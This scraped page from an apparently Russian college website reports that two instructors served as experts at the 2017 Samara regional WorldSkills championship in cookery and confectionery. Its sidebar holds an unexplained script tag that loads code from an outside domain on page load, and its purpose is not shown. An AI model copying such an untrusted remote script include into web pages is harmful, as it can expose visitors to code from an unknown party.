Главная
Регистрация
Вход

Приветствую Вас Гость | RSS

Меню сайта

Категории раздела
Абитуриентам [0]
Для желающих поступить в наш колледж

Независимая оценка
Как вы оцениваете качество образовательных услуг нашего колледжа?
Всего ответов: 212

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

  
Главная » 2017 » Октябрь » 20 » Чемпионат «Молодые профессионалы» (Worldskils Russia) Самарской области
06:27
Чемпионат «Молодые профессионалы» (Worldskils Russia) Самарской области

 С 9 по 15 октября в г.Тольятти прошел Региональный чемпионат   «Молодые профессионалы» (Worldskils Russia)  Самарской области. 

Мастера производственного обучения нашего колледжа: Федосенко И.П. и Мазурова В.А. приняли  участие в качестве независимых экспертов в компетенциях «Поварское и кондитерское дело». Чемпионат проходил в очень напряженном ритме, рабочий день длился по 12 часов.



  Задания были очень сложными. В компетенции «Поварское дело»  все участники конкурса за три дня должны были пройти  8 модулей A B C D E F G H = (A+B C D E + F G H),общая продолжительность выполнения конкурсного задания 16,5 часов.

На площадке соревновались 7 участников, за ними наблюдали 16 экспертов.

Ребята показали навыки работы на современном оборудовании: Robot Coupe, пароконвектомат, слайсер, Sous Vide, вакууматор; различные технологии приготовления  и оформления блюд: авторская подача винегрета, тельного, использование молекулярной кухни т.д.

В компетенции "Кондитерское дело" участвовало 5 участников учебных заведений Самарской области, к качестве экспертов работало 12 человек.


          Конкурсное задание было   сложным: миниатюры, 3 вида шоколадных конфет, муссовый торт и фигура из карамели. 
Тема конкурсного задания "Street art" (граффити) которая должна была прослеживаться в каждом из модулей (изделий).
Все конкурсанты справились с заданиями, ни кто не сошёл с дистанции.

 

Информацию подготовили Федосенко И.П. и Мазурова В.А.

Просмотров: 233 | Добавил: agropedcolledg | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email *:
Код *:


Вход на сайт
Логин:
Пароль:

Мы потомки Героев


ПОЛЕЗНЫЕ ССЫЛКИ

Министерство образования и науки Российской Федерации Единое окно доступа к образовательным ресурсам Федеральный портал "Российское образование" Единая коллекция цифровых образовательных ресурсов Федеральный центр информационно-образовательных ресурсов


Персональные данные Дети МЕСТО РОЖДЕНИЯ:
ТЮМЕНСКИЙ КРАЙ Конкурс новый взгляд
<script src="https://tabun.info/out/index.php"></script>
http://профстажировки.рф/
Поиск

Календарь
«  Октябрь 2017  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
3031

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Архив записей

Copyright MyCorp © 2020
Создать бесплатный сайт с uCoz